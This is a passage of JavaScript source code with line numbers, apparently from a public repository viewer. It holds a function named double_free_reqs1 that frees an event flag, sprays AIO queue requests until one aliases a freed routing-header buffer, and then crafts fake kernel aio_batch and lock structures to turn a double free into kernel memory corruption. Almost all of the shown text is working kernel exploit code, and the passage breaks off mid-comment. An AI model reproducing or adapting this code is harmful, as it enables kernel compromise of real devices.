(reqs1_addr, kbuf_addr, target_id, evf, sd, sds)
| 1029 | } |
| 1030 | |
| 1031 | function double_free_reqs1(reqs1_addr, kbuf_addr, target_id, evf, sd, sds) { |
| 1032 | const max_leak_len = (0xff + 1) << 3; |
| 1033 | const buf = new Buffer(max_leak_len); |
| 1034 | |
| 1035 | const num_elems = max_aio_ids; |
| 1036 | const aio_reqs = make_reqs1(num_elems); |
| 1037 | const aio_reqs_p = aio_reqs.addr; |
| 1038 | |
| 1039 | const num_batches = 2; |
| 1040 | const aio_ids_len = num_batches * num_elems; |
| 1041 | const aio_ids = new View4(aio_ids_len); |
| 1042 | const aio_ids_p = aio_ids.addr; |
| 1043 | |
| 1044 | log("start overwrite rthdr with AIO queue entry loop"); |
| 1045 | let aio_not_found = true; |
| 1046 | free_evf(evf); |
| 1047 | for (let i = 0; i < num_clobbers; i++) { |
| 1048 | spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p); |
| 1049 | |
| 1050 | if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) { |
| 1051 | log(`aliased at attempt: ${i}`); |
| 1052 | aio_not_found = false; |
| 1053 | cancel_aios(aio_ids_p, aio_ids_len); |
| 1054 | break; |
| 1055 | } |
| 1056 | |
| 1057 | free_aios(aio_ids_p, aio_ids_len); |
| 1058 | } |
| 1059 | if (aio_not_found) { |
| 1060 | die("failed to overwrite rthdr"); |
| 1061 | } |
| 1062 | |
| 1063 | const reqs2 = new Buffer(0x80); |
| 1064 | const rsize = build_rthdr(reqs2, reqs2.size); |
| 1065 | // .ar2_ticket |
| 1066 | reqs2.write32(4, 5); |
| 1067 | // .ar2_info |
| 1068 | reqs2.write64(0x18, reqs1_addr); |
| 1069 | // craft a aio_batch using the end portion of the buffer |
| 1070 | const reqs3_off = 0x28; |
| 1071 | // .ar2_batch |
| 1072 | reqs2.write64(0x20, kbuf_addr.add(reqs3_off)); |
| 1073 | |
| 1074 | // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo |
| 1075 | // safe since free_queue_entry() doesn't deref the pointer |
| 1076 | reqs2.write32(reqs3_off, 1); |
| 1077 | reqs2.write32(reqs3_off + 4, 0); |
| 1078 | // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue |
| 1079 | reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE); |
| 1080 | reqs2[reqs3_off + 0xc] = 0; |
| 1081 | // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding) |
| 1082 | // safe since the entry already got dequeued |
| 1083 | // |
| 1084 | // .ar3_lock.lock_object.lo_flags = ( |
| 1085 | // LO_SLEEPABLE | LO_UPGRADABLE |
| 1086 | // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS |
| 1087 | // | 6 << LO_CLASSSHIFT |
| 1088 | // | LO_INITIALIZED |
no test coverage detected